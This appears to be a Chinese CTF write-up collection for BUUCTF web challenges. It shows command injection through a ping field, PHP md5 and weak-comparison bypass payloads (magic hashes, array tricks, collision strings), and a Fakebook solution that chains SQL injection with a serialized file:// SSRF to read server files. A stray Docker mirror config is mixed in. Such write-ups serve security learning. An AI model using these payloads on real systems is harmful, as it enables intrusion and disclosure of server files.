[ACTF2020 新生赛]Exec 1
在 CTF 中,flag 文件往往位于根目录下,但也不要被反套路了
先ping一下它自己
TTL表示您使用ping命令发送的数据包在网络中的持续时间。
TTL=56表示你的机器发送数据包到对方IP并确认,要花费56毫秒。
一般情况下,TTL=56表示对方是Windows 98或者是Linux操作系统
尝试使用管道符
127.0.0.1 | ls /查看根目录文件
127.0.0.1 | cat /flag 查看根目录下的flag文件
得到flag
BUUCTF [BJDCTF2020]Easy MD51
1、 PHP md5() 函数
- 语法:md5(string,raw)
- string:需要计算的字符串
- raw:规定十六进制或二进制输出格式
TRUE - 原始 16 字符二进制格式
FALSE - 默认 32 字符十六进制数结果:1
2
3
4<?php
$str = "ffifdyop";
echo "TRUE - Raw 16 character binary format: ".md5($str, TRUE)."<br>";
?>ffifdyop的原始 16 字符二进制格式以’or’6开头,数字开头的字符串都会被识别为True,可以用作注入拼接1
TRUE - Raw 16 character binary format: 'or'6�]��!r,��b<br>
php比较绕过
- php是一种弱类型语言,对数据的类型要求并不严格,可以让数据类型互相转换
1、使用两个等号 == 比较,只比较值,不比较类型。
2、用三个等号 === 比较,除了比较值,也比较类型。
字符串和数字比较
- 字符串和数字比较使用==时,若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串或null,则转换为0
1
2
3
4
5
6
7
8var_dump(12=="12") //true
var_dump(12=="12aa") //true
var_dump( "admin"==0) //true
var_dump(false==""==0==NULL) //true
var_dump('a' == 0); //bool(true)
var_dump('1a' == 1); //bool(true)
var_dump('12a' == 1); //bool(false)
字符串和布尔型
- 布尔值true和任意字符串都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的
1
2
3
4var_dump(true=="hyuf") //true
var_dump(True == 0); //bool(false)
var_dump(True == 'False'); //bool(true)
var_dump(True == 2); //bool(true)
字符串”0”和科学计数法
1 | $str1 = "a"; |
- 开头前两个为0e,后面全部为数字的话,他们就会和字符串0相等的
1、第一条只是0开头,所以只能当普通字符串,结果为false
2、第二条0e后面全为数字,符合要求,结果为true
3、第三条虽然为0e,但是后面不全为数字,所以结果为false
4、数字和“e”开头加上数字的字符串(例如”1e123”)会当作科学计数法去比较
strcmp() 函数漏洞 php5.3之前
- strcmp(s1,s2)
1
2
3
4
5
6当s1<s2时,返回为负数 注意不一定是-1,测试结果是比较字符串长度
当s1==s2时,返回值= 0
当s1>s2时,返回正数 注意不一定是1,测试结果是比较字符串长度
如果两个字符串不同等,但是字符串长度相同,就比较从哪一位开始不同的,然后比较那一位的大小
即:两个字符串自左向右逐个字符相比(按ASCII值大小相比较),直到出现不同的字符或遇'\0'为止。如:
"A"<"B" "a">"A" "computer">"compare" - 利用点:这里面只能比较字符串,不能比较数字等其他形式的参数,如果出现了其它参数,则会retrun null,有些题目就是利用这一点来进行和0的完成比较
一般使用数组来触发
MD5绕过
1 | if(MD5($_GET['name']) == MD5($_GET['password'])){ |
1 | <!-- |
GET传入a和b要求a不等于b,且a和b的md5值相同,md5的绕过
- 方法一:利用数组绕过,md5()不能处理数组,传入数组会返回null
payload如下:1
?a[]=1&b[]=2
- 方法二:在php中以“0e”开头的字符串都会以科学计数法来解析,而0的乘积都为0。所以构造md5加密后开头为0e的字符串即可下面是强比较
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514方法一:数组绕过1
2
3
4
5
6
7
8
9<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
payload:方法二:使用md5加密后两个完全相等的两个字符串绕过1
param1[]=1¶m2[]=2
- md5无论是32位还是16位,都不可能不重复的表示所有信息,这种重复的例子就称为硬碰撞,有如下代码:payload:
1
2
3
4
5
6
7$s1 = $_GET['a'];
$s2 = $_GET['b'];
$s3 = $_GET['c'];
echo md5($s1),"<br/>";
echo md5($s2),"<br/>";
echo md5($s3),"<br/>";
?>三个返回相同的md5值1
2
3?a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab
&b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
&c=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab1
ea8b4156874b91a4ef00c5ca3e4a4a34
双md5碰撞绕过
1 | md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af |
payload:
1 | CbDLytmyGm2xQyaLNhWn |
md5碰撞脚本
intval() 函数
- intval() 函数用于获取变量的整数值
- 通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值,intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
- 语法:
int intval ( mixed $var [, int $base = 10 ] )
如果 base 是 0,通过检测 var 的格式来决定使用的进制:绕过方法:通过使用0x或者0开始的格式来绕过不相等的判断(像一些要先判断不相等再判断相等的题目)1
2
3如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex)
如果字符串以 "0" 开始,使用 8 进制(octal)
否则将使用 10 进制 (decimal)
[极客大挑战 2019]BuyFlag 1
is_numeric() 函数用于检测变量是否为数字
利用:is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值bp修改请求方式
右键,change request method
{
“registry-mirrors”: [“https://qlmy5iw9.mirror.aliyuncs.com"]
}
[网鼎杯 2018]Fakebook
先在user页面找到注入点no= ,然后测试’发现可能存在sql注入,发现是数字型,继续测试到union select 1,2,3,4时出现提示no hack ~_~
,使用fuzz字典测试注入点
union select被过滤,union/**/select
中代替空格,常规联合注入
1 | no=-1 union/**/select 1,group_concat(data),3,4 from users |
1 | O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"1.com";} |
/robots.txt显示/user.php.bak,查出源码
1 | function get($url) |
这部分可能存在ssrf,而我们爆出的字段data是序列化后的字符串,说明注册时会序列化我们的信息,回显到页面时再反序列化
这里存在ssrf,data本来回显的是我们自己的博客,但我们把它改为回显flag.php
1 | O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";} |
改为file:///var/www/html/flag.php,并把对应的s改为对应长度29
payload:
1 | no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' |
查看同一位置的源码,base64解码